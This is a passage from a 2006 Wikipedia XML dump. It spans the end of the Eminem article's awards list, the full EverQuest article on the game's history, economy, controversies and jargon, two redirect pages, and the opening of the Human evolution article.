*1999 - [[MTV Video Music Award for Best New Artist|Best new artist]] for &quot;My Name Is&quot; from ''The Slim Shady LP''
*2000 - [[MTV Video Music Award for Best Video of the Year|Best video]] for &quot;The Real Slim Shady&quot; from ''The Marshall Mathers LP''
*2000 - [[MTV Video Music Award for Best Male Video|Best male video]] for &quot;The Real Slim Shady&quot; from ''The Marshall Mathers LP''
*2000 - [[MTV Video Music Award for Best Rap Video|Best rap video]] (with Dr. Dre) for &quot;Forgot About Dre&quot; from ''Dr Dre 2001''
*2002 - [[MTV Video Music Award for Best Video of the Year|Best video]] for &quot;Without Me&quot;, from ''The Eminem Show''
*2002 - Best male video, for &quot;Without Me&quot;, from ''The Eminem Show''
*2002 - [[MTV Video Music Award for Best Rap Video|Best rap video]] for &quot;Without Me&quot;, from ''The Eminem Show''
*2002 - [[MTV Video Music Award for Best Direction|Best direction]], for &quot;Without Me&quot;, from ''The Eminem Show''
*2003 - [[MTV Video Music Award for Best Video from a Film|Best video from a film]], for &quot;Lose Yourself&quot; from the ''8 Mile O.S.T.''

'''[[MTV Europe Music Awards]]'''
*1999 - Best hip-hop act
*2000 - Best hip-hop act
*2000 - Best album, for ''The Marshall Mathers LP''
*2001 - Best hip-hop act
*2002 - Best male act
*2002 - Best hip-hop act
*2002 - Best album, for ''The Eminem Show''
*2003 - Best hip-hop act
*2004 - Best hip-hop act (with [[D12 (band)|D12]])

'''[[American Music Award]]s'''
*2003 - Favorite pop/rock male artist
*2003 - Favorite pop/rock album, for ''The Eminem Show''
*2003 - Favorite hip-hop/R&amp;B male artist
*2003 - Favorite hip-hop/R&amp;B album, for ''The Eminem Show''
*2005 - Favorite hip-hop/R&amp;B male artist

==See also==
*[[Best selling music artists]]
*[[List of best-selling albums worldwide]]

==External links==
===Official===
*[http://www.eminem.com/ Official Eminem website] (requires [[Macromedia Flash]])
*[http://www.aftermath-entertainment.com/ Official Aftermath Records website]
*[http://www.shadyrecords.com/ Official Shady Records website] 

===Resources===
*[http://www.trshady.com/ Eminem fan site and community]
*[http://www.shadygallery.com/ Eminem and Shady/Aftermath picture gallery]
*{{musicbrainz artist|id=b95ce3ff-3d05-4e87-9e01-c97b66af13d4|name=Eminem}}
*[http://aftermathmusic.info/ Eminem/Aftermath fan community]
*[http://www.dubcc.com/forum/index.php?topic=65364.0 Production Credits for all Eminem albums]
*[http://launch.yahoo.com/artist/videos.asp?artistID=1037847 Eminem music videos on Yahoo's Launch.com]
*[http://www.blender.com/guide/articles.aspx?id=1623 Networth source]
*[http://www.eminem.com.au/ Australian Eminem website]
*[http://www.wikisound.com/index.php/Eminem Eminem's Listing on WikiSound]

===News===
*[http://aftermathmusic.com/ Shady/Aftermath News]
*[http://www.freep.com/eminem/index.htm Detroit Free Press Eminem News Collection]

[[Category:1972 births|Eminem]]
[[Category:Blue eyed soul]]
[[Category:High school dropouts]]
[[Category:Kansas Citians]]
[[Category:Living people|Eminem]]
[[Category:Controversial people|Eminem]]
[[Category:People from Michigan]]
[[Category:Scottish-Americans]]
[[Category:Sirius Satellite Radio personalities|Eminem]]
[[Category:American rappers|Eminem]]
[[Category:White rappers|Eminem]]

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    </revision>
  </page>
  <page>
    <title>EverQuest</title>
    <id>10322</id>
    <revision>
      <id>41436184</id>
      <timestamp>2006-02-27T08:10:18Z</timestamp>
      <contributor>
        <ip>24.127.135.214</ip>
      </contributor>
      <comment>/* Gameplay jargon */</comment>
      <text xml:space="preserve">{{Infobox CVG| title = EverQuest
|image = [[Image:EverQuest_Box_Art.jpg|250px|center|EverQuest box art.]]
|developer = [[Sony Online Entertainment]]
|publisher = [[Sony Online Entertainment]]
|designer = 
|engine = 
|released = [[March 16]], [[1999]]
|genre = [[MMORPG]]
|modes = [[Multiplayer]]
|ratings = Teen (T)
|platforms = [[Microsoft Windows|Windows]], [[Mac OS X]]
|media = [[CD]], download
|requirements = 
|input = [[computer keyboard|Keyboard]], [[computer mouse|Mouse]]
}}'''''EverQuest''''' ('''EQ''') is a 3D [[fantasy fiction|fantasy]] [[massively multiplayer]] online [[computer role-playing game|role-playing game]] ([[MMORPG]]) that was released on [[March 16]] [[1999]]. The original design is credited to [[Brad McQuaid]], [[Steve Clover]], and [[Bill Trost]]. It was [[video game developer|developed]] by [[Verant Interactive]] (which had recently parted from [[989 Studios]]) and [[video game publisher|published]] by [[Sony Online Entertainment]] (SOE). SOE currently runs and distributes ''EverQuest''.

To play, one must initially pay for the game [[software]] and then pay a recurring monthly fee; a free trial is also available for those who wish to experience the game before paying. ''EverQuest'' was, for a time, the most popular MMORPG in the industry.

In the game, players explore a [[J.R.R. Tolkien|Tolkienesque]] fantasy world of [[sword and sorcery]], fighting monsters and enemies for treasure and [[experience point]]s and interacting with other players.  As they progress, players advance in level, gaining power, prestige and abilities.  Players can also procure powerful items for their characters in a variety of ways: through slaying monsters (and then [[Looting (Gaming)|looting]] whatever items they were carrying), doing &quot;quests&quot; (tasks and adventures given by non-player characters ( [[NPCs]] ) in which a reward is given upon success), or by gathering raw materials and then fashioning them, via numerous trade skills such as tailoring or blacksmithing, into useful (or not-so-useful, but nevertheless fun) items.  In structure and rules, the game is a direct descendant of the famed ''[[Dungeons &amp; Dragons]]'' role-playing game.  Many of the elements from ''EverQuest'' have also been drawn from text-based [[MUD]] (multi-user dungeon) games, especially [[DikuMUD]].

The game features a 3D environment set in the fictional world of Norrath, its moon Luclin and alternate planes of reality. The geography of the [[EverQuest universe|''EverQuest'' universe]] is vast&amp;mdash;few have visited all of the nearly 400 [[Zones of EverQuest|zones]]. Multiple instances of the world exist on various ''servers'', each one hosting between 1000 and 3000 simultaneous players online during peak times. After selecting a server, a player can create multiple characters by choosing from a variety of classes and races (e.g., humans, gnomes, trolls, halflings, elves, etc.). The main aspect of [[gameplay]] involves grouping with fellow players to kill [[monster]]s for experience and gear. Beyond that, a player can explore the large world, socialize, [[role-play]], join [[Everquest player guilds|player guilds]], master [[EverQuest trade skills|trade skills]], and duel other players (in restricted situations &amp;mdash; EQ only allows [[Player versus Player]] (PvP) combat on the [[EverQuest special servers|PvP-specific server]], in designated arenas, or in a consensual duel in a limited number of locations.

While some parts of ''EverQuest'' can be experienced alone, without the help of other players, EQ generally remains a very group-centric game.  A single character, unless exceptionally well prepared (either by means of equipment or with spell enhancements, referred to in-game as 'buffs'), will be unable to complete many of the encounters in ''EverQuest''.  Most parts of the game can be completed with small groups of up to six or so people, but the most challenging (and rewarding) encounters require the cooperation of many players, possibly totalling  72 players, although the trend in recent [[expansions]] tends towards 54 as a maximum. A large force of gamers gathered together to perform one task, is referred to as a &quot;raid&quot;. Normally the number of players range from 36 to 72, limiting factors being the maximum number of people allowed in a &quot;raid window&quot; (72) and the maximum number of people allowed in certain [[Instance dungeon|instanced zones]] in more recent expansions. [[Zerging]] (A term that comes from another popular computer game, [[Starcraft]]) is when a raid's main strategy is to overwhelm an enemy by sheer force of numbers. As ''EverQuest'' has aged, tactics have become more and more involved. Some of the most complex 'modern' [[raid]] events can take a very experienced guild dozens of attempts before they succeed. Less skilled guilds may take as many as a hundred tries to beat the same event, if they are able to accomplish it at all, due to the level of strategy and teamwork required to defeat modern EverQuest encounters.

==Development==
While the original concept is credited to Brad McQuaid, Steve Clover, and Bill Trost, much of the original product design was done by Brian Canary, Ryan Palacio, Roger Uzun and Geoffrey &quot;GZ&quot; Zatkin. Many other people have worked on EverQuest through the many updates and [[expansion pack]]s that have been released as the service has operated continually since 1999. The idea of the &quot;[[MMORPG]]&quot; (Massive Multi-Player Online Role-Playing Game) is credited to [[Ultima Online]], the first of its genre.

[[989 Studios]] funded development and initially [[game publisher|published]] the game, before [[Verant Interactive]] took management after [[989 Studios]] unilaterally canceled all of its PC projects. [[Sony Online Entertainment]] later purchased Verant, and SOE runs and distributes ''EverQuest'' currently.

[[Image:EverQuest - The Temple of Solusek Ro.jpg|thumb|right|The Temple of Solusek Ro was added as a free download in October 1999.]]
''EverQuest'' launched with some technical difficulties on [[March 16]], [[1999]] but quickly became successful. By the end of the year, it had surpassed the leading competitor, ''[[Ultima Online]]'' in number of subscriptions. Numbers continued rising at a steady rate until mid-[[2001]] when growth slowed. [[As of 2004]], Sony reports subscription numbers close to 450,000.

==Zones==
{{details|Zones of EverQuest}}
The ''EverQuest'' universe is divided into nearly 400 ''zones''.  These zones represent a wide variety of geographical features, including plains, oceans, cities, deserts, and other planes of existence.

==Controversies and social issues==
''EverQuest'' has lived through its share of controversy, much of it shared by the entire MMORPG genre. One example involves the sale of in-game objects for real currency (often through [[eBay]]). The developers of EQ have always forbidden the practice and in January [[2001]] asked eBay to stop listing such auctions. For a time, such auctions were immediately removed, which created market conditions that allowed a number of upstart auction sites to specialize in this new virtual economy. The game has always had problems with exploiting, cheating, and hacking. Patches have stopped some of the most serious cheats, but controversy also surrounds SOE's policies, once seen as heavy-handed and subjective, now generally perceived as lighter than deserved in many instances. Changes in management have caused changes in company-to-customer representatives who defend or promote said policies. Gordon Wrinn (&quot;Abashi&quot;) was the spokesperson of Verant, followed by Alan VanCouvering (&quot;Absor&quot;) for SOE; a team now presents plans to the players. Critics of EQ's overall design deride it as &quot;simplistic&quot;, and this has led to a satirical game called ''[[Progress Quest]]'' to appear on the [[Internet]].  Some [[gamer]]s have nicknamed it &quot;LevelQuest&quot;, implying that the purpose of the game is to only acquire levels.  Monotonous in-game-activities are referred to as [[timesink]]s.

The game is renowned and berated (by some [[psychologist]]s specializing in [[computer addiction]]) for its addictive qualities.  Many refer to it half-jokingly as &quot;NeverRest&quot; and &quot;EverCrack&quot; (a reference to [[crack cocaine]]).  EQ is very time-consuming for many people, and there have been some well-publicized suicides of ''EverQuest'' users, such as that of [[Shawn Woolley]]. Relationships broken because of obsessive playing resulted in the creation of an online support group called EverQuest Widows and sites like GamerWidow.com.  The capacity of the game to absorb time and money, and to distract players from a possibly-dull life on the other side of the screen, are appealing features to its users.  However, the same could be said for any other addictive and obsessive activity. An infamous rant titled [http://games.slashdot.org/article.pl?sid=02/12/27/1748252&amp;threshold=5&amp;commentsort=3&amp;mode=flat &quot;EQ: What You Really Get From An Online Game&quot;] appeared on [[Slashdot]] in [[2002]], and brought this issue of ''EverQuest'' addiction to the forefront of many message boards across the [[Internet]].

The sociological aspects of ''EverQuest'' (and other MMORPGs) are further explored in a series of online studies on a site known as &quot;the HUB&quot;. [http://www.nickyee.com/hub/home.html] The studies make use of data gathered from player surveys and discuss topics like virtual relationships, player personalities, gender issues, and more. &lt;!-- If anyone has the time, this section could be expanded to contain a lot more information, instead of relying on an external link --&gt;

As it enters its seventh year, there is a perception among some longtime players that Everquest's best days are behind it, and indeed many have abandoned EQ in favor of some of the newer MMORPGs on the market, such as [[City of Heroes]] and [[World of Warcraft]].  Although it is true that some formerly-busy zones are now deserted, SOE continues to release expansion packs, and certain zones continue to be crowded during peak game-playing hours.

==Real world economics==
''EverQuest'' has many in-game items that are hard to produce and/or to find, and most can be traded among players via the game's currency (platinum pieces). Because these items are also sold on [[eBay]], an actual [[exchange rate]] between platinum pieces and real life dollars can be calculated. This led some [[economist]]s, among them [[Edward Castronova]], to study the economics of ''EverQuest'' and other MMORPGs. The researchers discovered, to their surprise, that EQ's money was in fact more valuable than the [[Yen]] (although this is no longer the case; there are now about 2900 platinum to a U.S. dollar which is worth about 113 Yen), and its [[Gross domestic product|GDP]] per capita is higher than that of [[China]] and [[India]].

This led some gamers to start playing professionally, as after some hours of play they could earn income by selling off in-game items. [[Black Snow Interactive]] was founded as a company that created characters, [[powerlevel|leveled]] them to make them powerful, and then resold the characters. After some time, the firm moved to [[Mexico]], as the salaries for Mexican players are far less. Other firms, such as the [[Gaming Open Market]], specialized in exchanging money between games. A player could exchange a house in ''[[The Sims Online]]'' for ''EverQuest'' platinum pieces, depending solely on market laws of [[supply and demand]].

Sony officially discouraged the payment of real-world money for online goods until July 2005, when they launched Station Exchange. The program facilitates buying in-game items for real money from fellow players for a nominal fee. At this point this system only applies to select ''[[EverQuest II]]'' servers; none of the pre-''Station Exchange'' ''EverQuest II'' or ''EverQuest'' servers are affected. [http://eq2players.station.sony.com/news_archive.vm?id=466&amp;section=News&amp;month=current]

While Sony's official stance on ''EverQuest'' is still against real market transactions, any real enforcement of this faded years ago.  It is now common to encounter an account on its second or third owner, especially in the higher end game.  

Due to the difficulty in learning the role a specific class plays within a group, and of learning the best way to fulfil this role, individuals who purchase high level characters without prior playing experience with a similar character are considered sub-par to those who have developed characters normally.  To a lesser extent this is also true of individuals who purchase equipment far stronger then they should reasonably have (known in-game as &quot;twinks&quot;), and pay for help from high level characters in order to raise a newly created character into high levels quickly with little risk (known as &quot;power leveling&quot; or simply &quot;PL&quot;).  Referring to a character in EverQuest as an eBay character or to an individual as an eBayer are derogatory comments used to suggest both that an individual did not develop his own character and that he has not learned how to properly play it.

==EverQuest expansions==
There have been several expansions to the original game since release. Expansions are purchased separately and add significant content to the game (for example, new races, classes, continents, quests, and equipment). Additionally, the game is updated regularly through downloadable patches. The EQ expansions to date:
[[Image:EverQuest - East Commonlands tunnel.jpg|thumb|right|The East Commonlands tunnel was the most frequently used area for trading on most servers before the Bazaar was added in ''The Shadows of Luclin''.]]
# ''[[The Ruins of Kunark]]'' (March 2000)
# ''[[The Scars of Velious]]'' (December 2000)
# ''[[The Shadows of Luclin]]'' (December 2001)
# ''[[The Planes of Power]]'' (October 2002)
# ''[[The Legacy of Ykesha]]'' (March 2003)
# ''[[Lost Dungeons of Norrath]]'' (September 2003)
# ''[[Gates of Discord]]'' (February 2004)
# ''[[Omens of War]]'' (September 2004)
# ''[[Dragons of Norrath]]'' (February 2005)
# ''[[Depths of Darkhollow]]'' (September 2005)
# ''[[Prophecy of Ro]]'' (February 2006)
''See also: [[EverQuest timeline]]''

There are many spin-off products from ''EverQuest''. Several servers have been introduced with alternate rule-sets, including one which allows [[Player versus player|player killing]], another, ''Firiona Vie'', that has a set of rules more friendly to role-playing (although it also contained other rule changes that also made it attractive to non-role-players which some argue defeated the purpose), and a premium flagship server titled Stormhammer ''Legends'' server (which, for a higher fee provided a greater level of in-game customer service.  Many players saw this as a way to charge players more money for a level of service which should have existed without the fee).  After many months of the &quot;Legends&quot; community pleading for communication with Sony about its future, nothing was said until a sudden announcement in December '05 that Sony was closing the EQ flagship server. ''[[EverQuest Online Adventures]]'', released in February [[2003]], is an MMORPG for the [[PlayStation 2]] console. ''[[EverQuest II]]'', a sequel to ''EverQuest'', was launched in November 2004. ''[[Champions of Norrath]]'', the [[d20 System|d20]] [[tabletop role-playing game|tabletop RPG]] ''[[EverQuest Role-Playing Game]]'', several books, and player gatherings (''Fan Faires'') have also been spawned from ''EverQuest''.

Fans have created the [[open source]] server emulator [[EQEmu]], allowing users to run their own servers with custom rules. Running such an emulator is a violation of EQ's end user license agreement and could result in a player being banned from Sony's ''EverQuest'' servers if caught doing so. It has not gained the same popularity as server emulators for ''Ultima Online''. Although technically against the EULA, it is unlikely that you will be banned or otherwise punished for playing on an EMU, unless you admit to it, ingame, in front of Sony support staff.

==Gameplay jargon==
{{wikibookschapter|book=EverQuest|chapter=Glossary|name=Glossary of terms}}
''EverQuest'' carries an internal language and culture of its own, including a plethora of arcane abbreviations aiding communication between players. For example, SoW (which stands for [[Spirit of Wolf]], a popular spell which accelerates players' movement), and vernacular usages such as 'crack' or 'mind candy' which within the context of EQ refer to [[mana]] regeneration spells such as Clarity or [[Kei|KEI]] (an acronym for ''Koadic's Endless Intellect''). While mostly consistent, there are also some differences in jargon between servers, and between the Asian, European and American gaming communities. In-game chatting can practically be a foreign language to anyone who has not played it extensively.  

Most ingloriously, and reflective of the sometimes poor testing done before release, players coined the term ''NERF'', which means &quot;New Enhancement Reduces Fun.&quot; It's a reflection on the fact that Sony has had to fix poor or sloppy designs so often that the player base has a term for it.

A number of terms used in-game have been coined by  players from a wide variety of other [[MMORPG]]s or players of ''EverQuest'' specifically. One is the habit of calling monsters ''MOBs'' or ''mobs'' which is a contraction of [[Mob (computer gaming)|Mobile Object]]s and stems from old text-based [[MUD]]'s use of the term.  Some terms like these, while coined in ''EverQuest'', have migrated to other MMORPGs.

Some players  use [[leet]], which is also referred to as &quot;dewd&quot; speak, and [[Internet slang]] is quite common among users of the game.

==Deities==
{{details|EverQuest Deities}}
There are several deities in ''EverQuest''.  Like traditional deities, they each have a certain area of rule or responsibility.

==References==
*Parloff, Roger (Nov. 28, 2005). &quot;From Megs to Riches&quot;. ''[[Fortune (magazine)|Fortune]]'', pp. 72&amp;ndash;84.

==External links==
{{wikibookspar||EverQuest}}
*[http://eqlive.station.sony.com/ EverQuest Live] - Official EverQuest News
*[http://eq.crgaming.com/ EverQuest Casters Realm] - EverQuest news and information site
*[http://everquest.allakhazam.com/ AllaKhazam's Magical Realm] - Comprehensive spoiler site (quests, item database, bestiary, etc.); although all information is available for free, for a fee, there are much better searching tools available. 
*[http://lucy.allakhazam.com/ Lucy] - Complete list of known spells and items, Lucy pulls information directly from the EverQuest client.
*[http://www.eqtraders.com/ EQTraders Corner] - Comprehensive spoiler site dedicated to tradeskills
*[http://eqvault.ign.com/  EverQuest Vault]
*[http://www.magelo.com/ Magelo] - The most popular site for creating character profiles in EQ
*[http://mobhunter.com Mobhunter] EverQuest news and editorials
*[http://eqwire.com EQWire.com] Automated EverQuest news including an [[Really Simple Syndication|RSS 2.0]] feed
*[http://www.eqnewbie.com/ Eqnewbie] Everquest Information site, geared towards new players.
*[http://www.it-c.dk/people/tosca/everquest.htm The Everquest Speech Community] - a conference paper on the topic of ''EverQuest'' speech.

===Game Archive and Review sites===	 
*{{moby game|id=/windows/everquest|name=''EverQuest''}}
*[http://www.gamefaqs.com/computer/doswin/data/145131.html ''EverQuest'' at [[GameFaqs]]]
*[http://www.gamespot.com/pc/rpg/everquest/index.html ''EverQuest'' at [[GameSpot]]]

===Humor===
*[http://lanys.evercrest.com/bardslog/ Bard's Log!] - One of the first and most humorous Everquest Web Comics
*[http://www.fanfiction.net/s/553082/1/ Many Misadventures of Fry] Considered by many to be one of the funniest EQ Fanfictions.
*[http://ironloaf.com/everquest_ding_youre_65.htm Iron Loaf's &quot;Ding! You're 65!&quot;] - Parody Music Video about EverQuest addiction
*[http://www.gucomics.com/ GU Comics] - Gaming comics (originally EQ only) by Woody Hearn
*[http://www.wtfcomics.com/ WTF Comics] - EQ Comic depicting the adventures of Straha, Anna and a familiar cast of friends as they explore Norrath, by Jeremy Waller
*[http://www.thenoobcomic.com/daily/strip001.html The Noob] - Hilarious comic poking fun at EQ
*[http://www.norrathian.net/ Norrathian] - Satirical humor based on EverQuest by [http://www.samsmith.co.uk Sam Smith]
*[http://www.geocities.com/wazu_tz/ Wazu's Underground Peace Movement] - Humorous site dedicated to the [[Player versus player|player killing]] adventures of a character on a PvP server
*[http://www.notacult.com/fansythefamous.htm Fansy the Famous Bard] - An invulnerable level 5 bard on the now defunct [[EverQuest special servers|Sullon Zek]] (PvP) server.
*[http://chuma.cas.usf.edu/~dking3/IronChef/ Iron Chef of Norrath!] - An EverQuest parody of the TV show [[Iron Chef]]
*[http://www.guildmirage.com/ Guild Mirage] - Several amusing EQ flash animations
*[http://tarskstavern.com/groupee/forums Tarsk's Tavern] Humorous EQ music ([[MP3]]s)
*[http://www.uojohproductions.com/ Uojoh Productions] EQ Videos
*[http://eq.crgaming.com/skater/ Skater Gnome] - Humorous stories of adventures both in and out of the world of EverQuest.
*[http://everquest.freshlinks.net/everquest/index.aspx/eqdennys/ EQ Denny's] - Denny's dining experience via EQ interface

===Economy===
*[http://news.bbc.co.uk/1/hi/technology/2345933.stm BBC News] - Inflation threatens EverQuest economy
*[http://slashdot.org/article.pl?sid=02/01/23/2131259&amp;mode=thread Norrath Economic Report Now Available - Slashdot.org on Castronova's report]
*[http://www.walrusmagazine.com/04/05/06/1929205.shtml The Walrus Magazine]: &quot;On-line fantasy games have booming economies and citizens who love their political systems. Are these virtual worlds the best place to study the real one?&quot;
* [http://papers.ssrn.com/sol3/papers.cfm?abstract_id=294828 SSRN]: &quot;Virtual Worlds: A First-Hand Account of Market and Society on the Cyberian Frontier (2001)&quot; by [[Edward Castronova]]

[[Category:1999 computer and video games]]
[[Category:Apple Macintosh games]]
[[Category:EverQuest|*]]
[[Category:EverQuest games and expansions]]
[[Category:Massively multiplayer online role-playing games]]
[[Category:Windows games]]
[[Category:Virtual communities]]

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[[zh:无尽的任务]]</text>
    </revision>
  </page>
  <page>
    <title>EverCrack</title>
    <id>10323</id>
    <revision>
      <id>15908141</id>
      <timestamp>2002-04-19T17:26:03Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <comment>On Wikipedia, one-liners should be REDIRECTs to the main article =&amp;gt; EverQuest</comment>
      <text xml:space="preserve">#REDIRECT [[EverQuest]]</text>
    </revision>
  </page>
  <page>
    <title>Evolution of homo sapiens</title>
    <id>10325</id>
    <revision>
      <id>15908143</id>
      <timestamp>2004-07-28T09:00:32Z</timestamp>
      <contributor>
        <username>Lexor</username>
        <id>5364</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Human evolution]]</comment>
      <text xml:space="preserve">#REDIRECT [[Human evolution]]</text>
    </revision>
  </page>
  <page>
    <title>Human evolution</title>
    <id>10326</id>
    <revision>
      <id>41668704</id>
      <timestamp>2006-02-28T23:22:22Z</timestamp>
      <contributor>
        <username>Castjean</username>
        <id>370512</id>
      </contributor>
      <minor />
      <comment>/* ''Homo sapiens'' */</comment>
      <text xml:space="preserve">:''Primitive man redirects here; for the album, see [[Primitive Man]]''
'''Human evolution''' is the process of change and development, or [[evolution]], by which [[Human|human beings]] emerged as a distinct [[species]].  It is the subject of a broad [[science|scientific inquiry]] that seeks to understand and describe how this change and development occurred.  The study of human evolution encompasses many scientific disciplines, most notably [[physical anthropology]] and [[genetics]].  The term 'human', in the context of human evolution, refers to the genus ''[[Homo (genus)|Homo]]'', but studies of human evolution usually include other [[hominid]]s, such as the [[Australopithecus|australopithecines]].

==History of paleoanthropology==

The modern field of [[paleoanthropology]] began with the discovery of '[[Neanderthal]] man'; and evidence of other '[[cave men]]' in the [[19th century]].  The idea that humans are similar to certain [[great ape]]s had been obvious to people for some time, but the idea of the biological evolution of species in general was not legitimized until after [[Charles Darwin]] published ''[[On the Origin of Species]]'' in [[1859]].  Though Darwin's first book on evolution did not address the specific question of human evolution&amp;mdash; &quot;light will be thrown on the origin of man and his history,&quot; was all Darwin wrote on the subject&amp;mdash; the implications of evolutionary theory were clear to contemporary readers.  Debates between [[Thomas Huxley]] and [[Richard Owen]] focused on the idea of human evolution, and by the time Darwin published his own book on the subject, ''[[Descent of Man]]'', it was already a well-known interpretation of his theory&amp;mdash; and the interpretation which made the theory highly controversial.  Even many of Darwin's original supporters (such as [[Alfred Russel Wallace]] and [[Charles Lyell]]) balked at the idea that human beings could have evolved their apparently boundless mental capacities and moral sensibilities through [[natural selection]].

Since the time of [[Carolus Linnaeus]], the great apes were considered the closest relatives of human beings, based on morphological similarity. In the 19th century, it was speculated that our closest living relatives were [[chimpanzee]]s and [[gorilla]]s, and based on the natural range of these creatures, it was surmised humans share a [[common ancestor]] with [[Africa]]n apes and that fossils of these ancestors would ultimately be found in Africa. 

It was not until the [[1920s]] that fossils other than ''neanderthalensis'' were discovered.  In [[1924]], [[Raymond Dart]] described ''[[Australopithecus africanus]]''. The [[type specimen]] was the [[Taung Child]], an [[australopithecine]] infant discovered in [[Taung]], [[South Africa]]. The remains were a remarkably well-preserved tiny skull and an [[endocranial cast]] of the individual's brain. Although the brain was small (410 cm&amp;sup3;), its shape was rounded, unlike that of chimpanzees and gorillas, and more like a modern human brain. Also, the specimen exhibited short [[Canine tooth|canine teeth]], and the position of the [[foramen magnum]] was evidence of [[bipedal]] locomotion. All of these traits convinced Dart that the Taung baby was a bipedal human ancestor, a transitional form between apes and humans. Another 20 years would pass before Dart's claims were taken seriously, following the discovery of more fossils that resembled his find.  The prevailing view of the time was that a large brain evolved before bipedality. It was thought that intelligence on par with modern humans was a prerequisite to bipedalism. 

The australopithecines are now thought to be the immediate ancestors of the genus ''Homo'', the group to which modern humans belong. Both australopithecines and ''Homo sapiens'' are part of the tribe [[Hominini]], but recent data has brought into doubt the position of ''A. africanus'' as a direct ancestor of modern humans; it may well have been a dead-end cousin. The australopithecines were originally classified as either [[gracile]] or [[robust]]. The robust variety of ''Australopithecus'' has since been reclassified as ''[[Paranthropus]]''. In the [[1930s]], when the robust specimens were first described, the ''Paranthropus'' genus was used. During the [[1960s]], the robust variety was moved into ''Australopithecus''. The recent trend has been back to the original classification as a separate genus.

{{:Human evolution/Species chart}}

== Before ''Homo''==
*The earliest [[hominid]]s
**''[[Aegyptopithecus]]''
**''[[Sahelanthropus tchadensis]]''
**''[[Orrorin tugenensis]]''
**''[[Ardipithecus kadabba]]''
**''[[Ardipithecus ramidus]]''
*The ''[[Australopithecus]]'' genus
**''[[Australopithecus anamensis]]''
**''[[Australopithecus bahrelghazali]]''
**''[[Australopithecus afarensis]]''
**''[[Australopithecus africanus]]''
**''[[Australopithecus garhi]]''
*The ''[[Paranthropus]]'' genus
**''[[Paranthropus aethiopicus]]''
**''[[Paranthropus boisei]]''
**''[[Paranthropus robustus]]''

==The ''Homo'' genus==

In modern taxonomy, ''Homo sapiens'' is the only extant [[species]] of its genus, ''[[Homo (genus)|Homo]]''.  Likewise, the ongoing study of the origins of ''Homo sapiens'' often demonstrates that there were other ''Homo'' species, all of which are now extinct.  While some of these other species might have been ancestors of ''H. sapiens'', many were likely our 'cousins', having speciated away from our ancestral line.  There is not yet a consensus as to which of these groups should count as separate species and which as subspecies of another species.  In some cases this is due to the paucity of fossils, in other cases it is due to the slight differences used to classify species in the ''Homo'' genus.

The word ''homo'' is [[Latin]] for 'person', chosen originally by [[Carolus Linnaeus]] in his classification system.  It is often translated as 'man', although this can lead to confusion, given that the English word 'man' can be generic like ''homo'', but can also specifically refer to males.  Latin for 'man' in the gender-specific sense is ''vir'', [[cognate]] with &quot;''vir''ile&quot; and &quot;''wer''ewolf&quot;.  The word 'human' is from ''humanus'', the adjectival form of ''homo''.

===''Homo habilis''===

''[[Homo habilis|H. habilis]]'' lived from about 2.4 to 1.5 million years ago (MYA). ''H. habilis'', the first species of the genus ''Homo'', evolved in South and East Africa in the late [[Pliocene]] or early [[Pleistocene]], 2.5&amp;ndash;2 MYA, when it diverged from the Australopithecines.  ''H. habilis'' had smaller [[molars]] and larger [[brain]]s than the Australopithecines, and made [[tools]] from [[Rock (geology)|stone]] and perhaps animal [[bones]].  One of the first known hominids, it was nicknamed 'handy man' by its discoverer, [[Louis Leakey]].

===''Homo erectus''===

''[[Homo erectus|H. erectus]]'' (including ''[[Homo ergaster|H. ergaster]]'') lived from about 1.8 MYA (or from about 1.25 MYA excluding ''ergaster'') to 0.07 MYA.  In the Early Pleistocene, 1.5&amp;ndash;1 MYA, in Africa, [[Asia]], and [[Europe]], presumably, ''[[Homo habilis]]'' evolved larger brains and made more elaborate stone tools; these differences and others are sufficient for anthropologists to classify them as a new species, ''[[Homo erectus|H. erectus]]''.  A famous example of ''Homo erectus'' is [[Peking Man]]; others were found in Asia (notably in Indonesia), Africa, and Europe.  Many paleoanthropologists are now using the term ''Homo ergaster'' for the non-Asian forms of this group, and reserving ''H. erectus'' only for those fossils found in the Asian region and meeting certain skeletal and dental requirements which differ slightly from ergaster.  They may have used [[fire]] to [[cooking|cook]] their [[meat]].

===''Homo ergaster'' ===

''[[Homo ergaster|H. ergaster]]'' lived from about 1.8 to about 1.25 MYA. Also proposed as ''[[Homo erectus|Homo erectus ergaster]]''

===''Homo heidelbergensis''===

''[[Homo heidelbergensis|H. heidelbergensis]]'' ([[Heidelberg]] Man) lived from about 800 thousand years ago (TYA) to about 300 TYA.  Also proposed as ''Homo sapiens heidelbergensis'' and ''Homo sapiens paleohungaricus''.

=== ''Homo sapiens idaltu''===

''[[Homo sapiens idaltu|H. sapiens idaltu]]'' lived from about 160 TYA (proposed subspecies).  Is the oldest anatomically modern human known.

===''Homo floresiensis''===
 
''[[Homo floresiensis|H. floresiensis]]'', which lived to about 12 TYA (announced 28 [[October]] [[2004]] in the science journal ''[[Nature_(journal)|Nature]]''), has been nicknamed ''[[hobbit]]'' for its small size, probably a result of [[Island dwarfing]].  H. floresiensis is intriguing both for its size and its age, being by far the most recent species of Homo that does not lie along the direct evolutionary path of modern humans.

===''Homo neanderthalensis''===

''[[Homo neanderthalensis|H. neanderthalensis]]'' lived from about 250 to 30 TYA.  Also proposed as ''Homo sapiens neanderthalensis''.  There is ongoing debate over whether the '[[Neanderthal Man]]' was a separate species, ''Homo neanderthalensis'', or a subspecies of ''H. sapiens''.  While the debate remains unsettled, the prevailing view of evidence, collected by examining [[mitochondrial DNA]] and [[Y chromosome|Y-chromosomal]] [[DNA]], currently indicates that little or no gene flow occurred between ''H. neanderthalensis'' and ''H. sapiens'', and, therefore, the two were separate species.  In [[1997]], Dr. Mark Stoneking, then an associate professor of anthropology at [[Pennsylvania State University]], stated: &quot;These results [based on [[mitochondria]]l DNA extracted from Neanderthal bone] indicate that Neanderthals did not contribute mitochondrial DNA to modern humans&amp;hellip; Neanderthals are not our ancestors.&quot;&amp;sup2; Subsequent investigation of a second source of Neanderthal DNA confirmed these findings.&amp;sup3;  However, supporters of the [[multiregional hypothesis]] point to recent studies indicating non-African nuclear DNA heritage dating to one MYA, as well as apparent hybrid fossils found in [[Portugal]] and elsewhere, in rebuttal to the prevailing view.

===''Homo sapiens''===

